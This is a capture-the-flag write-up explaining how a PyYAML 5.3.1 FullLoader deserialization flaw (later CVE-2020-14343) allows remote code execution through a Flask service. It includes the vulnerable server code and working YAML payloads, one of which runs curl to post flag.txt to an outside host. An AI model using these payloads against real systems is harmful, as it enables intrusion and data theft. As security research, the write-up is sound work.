Update: It was assigned as CVE-2020-14343 after the contest.

This was a fun challenge exploiting a deserialize service in Python.

The server is using pyYAML and Flask, with the source code below:

from flask import Flask, session, request, make_response
import yaml
import re
import os

app = Flask(__name__)
app.secret_key = os.urandom(16)

@app.route('/', methods=["POST"])
def pwnme():
    if not re.fullmatch(b"^[\n --/-\]a-}]*$", request.data, flags=re.MULTILINE):
        return "Nice try!", 400
    return yaml.load(request.data)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

Bascially it is a service to do yaml.load() to your input and print it (return) with limitation to block some special character (especially . and _)

The version of pyYAML and flask is both at latest release, so its not with an challenge with an existing CVE.

We noticed that yaml.load is "unsafe" by the README:

When LibYAML bindings are installed, you may use fast LibYAML-based
parser and emitter as follows:

    >>> yaml.load(stream, Loader=yaml.CLoader)
    >>> yaml.dump(data, Dumper=yaml.CDumper)

If you don't trust the input stream, you should use:

    >>> yaml.safe_load(stream)

So we dig into the internals of yaml loader.

From the source code, when loader is not provided, it uses FullLoader

def load(stream, Loader=None):
    """
    Parse the first YAML document in a stream
    and produce the corresponding Python object.
    """
    if Loader is None:
        load_warning('load')
        Loader = FullLoader

    loader = Loader(stream)
    try:
        return loader.get_single_data()
    finally:
        loader.dispose()

And FullLoader uses FullConstructor to construct the python objects in: https://github.com/yaml/pyyaml/blob/5.3.1/lib3/yaml/constructor.py

The differences of FullConstructor and UnsafeConstructor is, UnsafeConstructor can uses the yaml tag: python/object/apply (that can be used to call functions) and it doesn't block some reserved keywords.

From there, we guessed the challenge was to do an RCE using python/object/new tag (that is available in FullConstructor) and somehow bypass the CVE-2020-1747 fixes. (With the POC here)

The CVE-2020-1747 exploits the fact that user can input a object with a customized extend function, so that after the object is constructed (with python/object/new / python/object/apply), it can trigger the function extend as it is used by the constructor as below:

    def construct_python_object_apply(self, suffix, node, newobj=False):
        ...
        instance = self.make_python_instance(suffix, node, args, kwds, newobj)
        if state:
            self.set_python_instance_state(instance, state)
        if listitems:
            instance.extend(listitems)
        if dictitems:
            for key in dictitems:
                instance[key] = dictitems[key]
        return instance

While the format of python/object/apply can supply states for the object, we can use python/name to reference a python internal function (exec, eval etc). We cannot use an module function as . and _ is blocked, so the CVE PoC cannot be used. (and it used apply, which is blocked by FullConstructor)

#   !!python/object/apply       # (or !!python/object/new)
#   args: [ ... arguments ... ]
#   kwds: { ... keywords ... }
#   state: ... state ...
#   listitems: [ ... listitems ... ]
#   dictitems: { ... dictitems ... }
# or short format:
#   !!python/object/apply [ ... arguments ... ]

The 5.3.1 fixes also blocked the key extend and ^__.*__$ to disallow setting those key with the state parameter.

We discovered that we can use python/object/new with type constructor (type is a type...) to create new types with some customized internal state. With this, we can bypass the state key block mechanism and freely set our object to something like this:

!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]

With this we can put our commands to listitems, and the constructor will call instance.extend(listitems), thus finish our RCE exploit.

Full payload:

!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "\x5f\x5fimport\x5f\x5f('os')\x2esystem('curl -POST mil1\x2eml/jm9 -F x=@flag\x2etxt')"

(We changed _ to \x5f and . to \x2e to bypass the regex limitation)

The intended solution uses map as a type (as it is a type in Python 3):

!!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ 'PAYLOAD_HERE' ]]]

This is essentially the python code tuple(map(eval, "PAYLOAD"))), and this works as map and tuple are both class constructor (so it doesnt use any function as apply calls).

Thanks for the author for such cool challenge (basically used a 0day for the CTF challenge).